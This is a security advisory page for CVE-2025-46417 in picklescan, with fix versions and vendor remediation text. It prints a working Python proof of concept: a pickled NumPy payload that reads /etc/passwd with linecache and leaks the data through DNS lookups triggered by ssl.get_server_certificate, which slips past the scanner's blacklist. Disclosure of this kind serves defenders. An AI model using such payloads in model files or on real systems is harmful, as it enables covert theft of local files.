CVE-2025-46417 — picklescan
Fix: mmaitre314/picklescan#40CVE-2025-46417 is a CWE-184 vulnerability in picklescan. A fix is available for picklescan — see the affected versions and patch details below.
Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-46417.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.
Details
picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging ssl.get_server_certificate as the callable function in the pickle payload. Since ssl is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.
The payload avoids flagged modules and instead uses linecache (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to ssl.get_server_certificate, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.
The payload executes the following steps:
- Reads sensitive local file content using
linecachemodule - Encodes the data for DNS exfiltration
- Constructs a malicious domain name using a third party service
dnslog.cn - Triggers a DNS resolution via
ssl.get_server_certificate - Leaks the encoded file content to the attacker
PoC
Before running the PoC change the fqdn to your own or a third party that you control. In this PoC we used fqdn = f"{subdomain}.ctmc2q.dnslog.cn".
import numpy as np
def create_malicious_model():
# Define the payload class
class DNSLogPayload:
def __reduce__(self):
# Step 1: read a line from /etc/passwd
linecache = __import__("linecache")
first_line = linecache.getline("/etc/passwd", 1).strip()
# Step 2: Sanitize and embed it as a DNS subdomain
subdomain = first_line.replace(":", "_").replace("/", "_")
fqdn = f"{subdomain}.dns-logger.invalid"
# Step 3: Use ssl.get_server_certificate to trigger DNS resolution
ssl_mod = __import__("ssl")
return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),))
# Wrap the payload in a NumPy object array
arr = np.array([DNSLogPayload()], dtype=object)
# Save to .npy file
np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True)
def load_model(model):
try:
return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1)
except Exception:
raise ValueError("Invalid file")
if __name__ == "__main__":
create_malicious_model()
model = "dnslog_trigger_payload.npy"
print("[i] Loading and executing the model")
data = load_model(model)
Impact
- Evade detection: Bypasses the latest version of picklescan's blacklist.
- Exfiltrate sensitive local files to an attacker controlled DNS
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.25pip install --upgrade 'picklescan==0.0.25' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update picklescan to 0.0.25 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-46417 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-46417 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-46417. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-46417 in your dependencies?
O3 Security finds CVE-2025-46417 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.